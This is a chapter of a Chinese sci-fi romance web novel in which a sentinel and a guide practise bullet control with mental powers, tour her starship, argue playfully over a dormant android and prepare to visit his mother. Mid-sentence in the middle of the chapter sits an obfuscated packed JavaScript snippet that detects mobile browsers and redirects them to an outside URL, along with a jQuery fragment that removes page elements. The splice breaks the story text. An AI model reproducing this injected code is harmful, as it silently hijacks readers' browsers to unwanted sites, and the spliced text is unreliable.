言述一在迟疑,但最终,对阮弥的信任压下他心底的恐惧。
无影无形的精神力自指尖游向枪膛,包裹住子弹,他会操纵精神力让子弹在射出后立即转向下坠。
举起枪对准阮弥,言述一吐出口气,扣下扳机。
一声枪响后,子弹悬停在两人之间。
言述一扔下枪就抱住阮弥,头埋在她的脖颈间像是说什么都不打算放手,知道自己是在急于求成的阮弥也心怀歉意轻拍他的后背安抚。
“我们单是对付人的话不会有什么问题,虫族也是一样,可如今二者掺和在一起会有不可控的情形。”
耳边传来轻语,言述一知道阮弥是在担心自己。
他自己实战经验不多,虽然之前说了不会拖后腿但谁知道会发生什么,他明白阮弥是为了自己好。
教学不是那么完美,可这就是她表达关心的方式,只是他一时之间有一点点接受不了。他不想伤害阮弥,哪怕是微乎其微的可能他也会感到惶恐。
“……我没事了。”相拥一会后言述一主动结束拥抱,没有让阮弥为此耽误更多时间。
她顺势拉着他来到子弹面前:“你的精神力让它转向,我的精神力则让它悬停,这都是可行方法。”
“在面对这样的攻击时我们得分出精神力应对,一般来说向导能外放的精神力并不多,相应的范围就会缩小,需要控制得十分精准。每一种枪械、弹药都会有细微差别。”
在子弹即将射入自己的身躯时加以控制,需要掐准最关键的时机,这也是应对各种突如其来危险的方式。
哨兵和向导可以外放精神力凝成屏障,但都消耗极大,没有人会知晓混乱何时结束。
如果有阮弥在言述一自然不需要这样应对,但未来充满未知,她不会任由最差的可能发生也不会全无准备。
等这场临时训练结束,离开地下室时阮弥只让言述一收好传送签。
“常用武器和药剂舰船上都有,只是品类没家里齐全。”
可言述一记得之前那艘跃迁舰上他并没有看到诸如此类的物件,像是知道他心中的疑问阮弥紧接着说道:
“这次我们开另一艘。”
一声清脆的断裂声后,阮弥和言述一来到一处黑暗空间。
下一刻,各处亮起的灯条将阴影驱散,言述一意识到自己此刻正处在冰冷金属铸造的巨物之内。
这是阮弥的星舰,光是驾驶舱摆放的控制台就足足三四米长。
“比我想象中还要夸张。”
这不是言述一第一次登上大型舰艇,只不过上次在洛安的舰船上时阮弥不在,他没现在这么放松,一个人待在房间也没多余的心情去四处观赏。
“小意思啦小意思啦。”阮弥挥挥手,表面故作云淡风轻,实际上这是她在圣所和公会当牛做马换来的。
“走吧,我带你去录入访客权限。”
等到录入成功,目的地坐标确认后,阮弥控制飞船开始跃迁,经历一瞬短暂的失重感后广袤群星已然呈现在二人眼中。
到哥黎那还需要一段时间,阮弥和言述一在舱内闲逛起来。
“这舰艇哪里都很好,就是阮弥平时不怎么开吧。”言述一注意到几乎每个地方都很新,也没什么个人化装潢。
“嗯,大部分时候我都一个人做任务,之前那艘就完全够用,很多人一起的话公会有自己的飞船,组织那边基本是安安那艘。”
星舰往往用于星系之间的穿梭,阮弥当初挑选时已经考虑过人不会很多,所以一共只有上下两层。
和驾驶舱相连的公共休息厅,连接餐厅、储藏室、武器装备室,再往后是一个小型训练场,往下一层就是更加空荡的空间,目前只有阮弥的休息室、办公区,以及只放了治疗舱的开放治疗区。
“我只布置过自己的休息室,其他地方都是安安改造她那艘时顺便帮我弄的,上次开这艘船都快一年前了……”
她隐约记得那次任务的对象非常捧高踩低。
“所以这艘星舰在阮弥这里的作用就是撑场子吗?”言述一脸上带笑,他知道这次被撑场子的人是他自己。
“可以这么说。”
在视线转向某处后,言述一的笑容却忽地淡了下来。他看见摆放在房间一角的装置,他起初还以为阮弥在房间里也放了治疗舱,近看才发现那原来是仿生人休眠舱。
里面躺着个面容俊美的男性仿生人。
……凭什么是它而不是他呢?
要是能更早遇见阮弥就好了,那样他就可以参与进没有他的过去里。言述一曾无数次这样想过,现在是又一次反复。
他想要了解阮弥更多,自然也就会对占据她过去的人或事物产生不同程度的恨意。
言述一几乎是迫不及待地想将这个仿生人扔到太空彻底销毁,可现在还不可以。等到他稍微平复心情转身,他看见阮弥在阅览从前任务的资料没注意到他这边的情况。
“阮弥。”
“怎么了?”传入她耳中的声音很平稳,所以她注意力还在面前的信息上。
随即,她被人环住腰,被抱起坐在一处倾斜的平台,言述一抵住她没让她滑落。突如其来的举措让阮弥摸不着头脑,正当她想问他要做什么时,幽怨的声音在她耳边响起。
“阮弥,我没它好用吗?”
它是谁?被推在休眠舱上坐着的阮弥思考了那么一会,直到言述一指尖引导,她视线余光扫过在自己身下的仿生人。
……她要把它扔太空里。
“它能做的事我都能做,什么都可以,如果阮弥介意的话我可以事后删掉自己的记忆……”话还没说完言述一就被阮弥捂住嘴。
这个家伙到底在说些什么啊!!!
她看了一眼言述一那又委屈又不甘的视线,讪讪移开后开口:“你不要说话,先听我说。”
“首先,这个东西是别人送我的,我让她退回去她死活不干。”缜密的阮弥并没有透露好心人士的具体信息,“其次,我没用过,除了她那天非要激活后面基本躺在这里,我每次都忘了处理。”
“最后,介于智械的存在,我怕它哪天有了自我意识还要让我负责。”
“要是真的那样阮弥会不会负责呢?”
“不会,我对智械不感兴趣。”她可受不了自己人老色衰对方始终如一,到时候拉着对方陪葬说不定还会被其余智械抗议,“如果真的那样我会给它钱让它销毁记忆再从内到外换个壳子。”
智械好就好在这方面,如果再不从就还是只能扔太空里销毁了,和现在一样的结局。
她没打算自证什么,解释和顺着言述一的假设也都是为了安抚。
快忘了这个早该被处理
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594283|204185||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
掉的仿生人吧,她莫名觉得要是现在不处理好以后会变成心腹大患。
言述一没有即刻回答,阮弥一直在被他直勾勾地盯着,先前布满双眼的情绪也不知何时就消散殆尽,取而代之的情绪是……跃跃欲试?
“我其实不需要阮弥负责的。”
话音刚落言述一就被阮弥重新捂住嘴:“你不许说话!”
这是重点吗?深思熟虑半天的回应原来是这个吗?
他笑弯了眼,湿热的舌尖轻触她的掌心。
阮弥抽回手想要离开却被揽回,言述一扣紧她的手,在她耳边拉长语调道:“阮弥,对不起,我刚才是被这个仿生人吓到了。”
需要一个阮弥的吻来安抚。
身为人形的仿生人即便是在沉睡依然会给阮弥一种可能会醒来的忧虑,这就导致她进不得退不得,被某人不断索取。
言述一也不想让这个仿生人一直打扰自己和阮弥,这个吻没有持续很久。
可这一点火星就足以让尚有余温的灰烬重燃。
为什么事情会变成这样?
又一次倒在床上的阮弥在心底如是呐喊,接连不断的吻让一切升温,于细碎间隙中意识到自己太过忍让的阮弥决定奋起反抗,她反身把罪魁祸首按在身下。
“再亲就给我去休息厅睡!”船舱上只有她房间里一张床。
被擒住脖颈的言述一却笑容更盛。
……她刚刚说的好像是惩罚不是奖励吧?
“遵命长官。”他牵起阮弥的手指轻吻道,“我一定安分守己。”
接下来这段时间言述一倒是真的信守承诺,就只搂搂抱抱牵牵手,之前无节制的亲吻似乎是一场幻觉,甚至有些时候会让阮弥脑海中重新浮现出纯良无害这类形容词。
每每回忆起之前对言述一的片面认知,她就觉得自己真是错得离谱。
“早上好,未婚妻。”一觉睡醒,终端提示星舰已经抵达目的地,阮弥刚清醒的视线中就出现穿着浴袍肆无忌惮的言述一。
是了,托她亲生父亲想转移财产的福,她和言述一还有个婚约。
“早上坏,未婚夫。”阮弥咬牙切齿地移开视线,她怀疑言述一在故意勾引自己但她完全没办法阻止。
在出发前阮弥就给言家发了一封邮件说明来意,借口要执行公会秘密任务让他们不要大肆宣扬更不要举办宴会。
她倒是不在意什么言家,和她八竿子打不着,主要是让言述一见见他的母亲。
被迫的离别总是痛苦的。
虽说是见长辈但阮弥和言述一的穿衣风格也和平常没什么太大差别,只不过扎起头发会让阮弥有种在解决任务的既视感,她少见地挽起,而言述一则是用发夹束起长发末尾。
在即将跨越舱门离开时,言述一却视线低垂停在原地。
“我……有点紧张,是和出塔那天一样的感觉。”
在塔里的时候言述一清醒时会和母亲联系,后来离开塔也见过投影,在确认他能够一直清醒后她经常会发来信息问问他最近过得怎么样。
可他和母亲总归是许多年没见了,幼年的记忆即便再怎么挽留也会逐渐变得模糊不清。
明明是想念的,他却对即将到来的重逢感到害怕。
阮弥紧握他的手安抚道:“别怕。”
“我会一直在你身边。”